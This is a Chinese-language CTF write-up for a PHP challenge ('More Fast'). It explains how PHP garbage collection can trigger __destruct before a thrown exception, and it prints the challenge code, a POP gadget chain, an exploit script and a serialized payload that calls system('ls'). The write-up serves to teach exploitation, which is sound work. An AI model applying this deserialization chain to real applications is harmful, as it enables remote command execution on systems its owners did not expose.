DHCP
DHCP
Published on 2023-11-01 / 55 Visits
2
0

GC垃圾绕过反序列绕过throw new Exception(Nope);

GC垃圾绕过反序列绕过throw new Exception(Nope);

题名:More Fast

重点:将最终构造的类'$a'进行:$a=array($a,0);后将后面的i:1转为i:0

Gc,全称Garbage collection,即垃圾回收机制。在PHP中有这个GC机制,当一个变量被设置为NULL,或者没有任何指针指向时,它就会被变成垃圾,被GC机制自动回收掉那么这里的话我们就可以理解为,当一个对象没有被引用时,就会被GC机制回收,在回收的过程中,它会自动触发_destruct方法,而这也就是我们绕过抛出异常的关键点。当我们PHP创建一个变量时,这个变量会被存储在一个名为zval的变量容器,在这个zval变量容器中,不仅包含变量的类型和值,还包含"refcount"与"is_ref","refcount"用来表示指向zval变量容器的变量个数,"is_ref"用来标识这个变量是否是属于引用集合(变量地址被引用)


题目:

<?php 
highlight_file(__FILE__); 

class Start{ 
    public $errMsg; 
    public function __destruct() { 
        die($this->errMsg); 
    } 
} 

class Pwn{ 
    public $obj; 
    public function __invoke(){ 
        $this->obj->evil(); 
    } 
    public function evil() { 
        phpinfo(); 
    } 
} 

class Reverse{ 
    public $func; 
    public function __get($var) { 
        ($this->func)(); 
    } 
} 

class Web{ 
    public $func; 
    public $var; 
    public function evil() { 
        if(!preg_match("/flag/i",$this->var)){ 
            return 'flag{adsfasdfasdf}'; 
        }else{ 
            echo "Not Flag"; 
        } 
    } 
} 

class Crypto{ 
    public $obj; 
    public function __toString() { 
        $wel = $this->obj->good; 
        return "NewStar"; 
    } 
} 

class Misc{ 
    public function evil() { 
        echo "good job but nothing"; 
    } 
} 

$a = @unserialize($_POST['fast']); 
throw new Exception("Nope"); 
Fatal error: Uncaught Exception: Nope in E:\exe\phpstudy_pro\WWW\exp\buufast2.php:55 Stack trace: #0 {main} thrown in E:\exe\phpstudy_pro\WWW\exp\buufast2.php on line 55

链子:Start->Crypto->Reverse->Pwn->Web
exp:

 <?php
highlight_file(__FILE__);

class Start{
    public $errMsg;
    public function __destruct() {
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();
    }
}

class Web{
    public $func='system';
    public $var='ls';
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}
$a=new Start();
$a->errMsg=new Crypto();
$a->errMsg->obj=new Reverse();
$a->errMsg->obj->func=new Pwn();
$a->errMsg->obj->func->obj=new Web();
$a=array($a,0);
echo serialize($a);
?>

Payload

a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:2:"ls";}}}}}i:1;i:0;}

后将后面的i:1转为i:0,后传参即可得到flag


Comment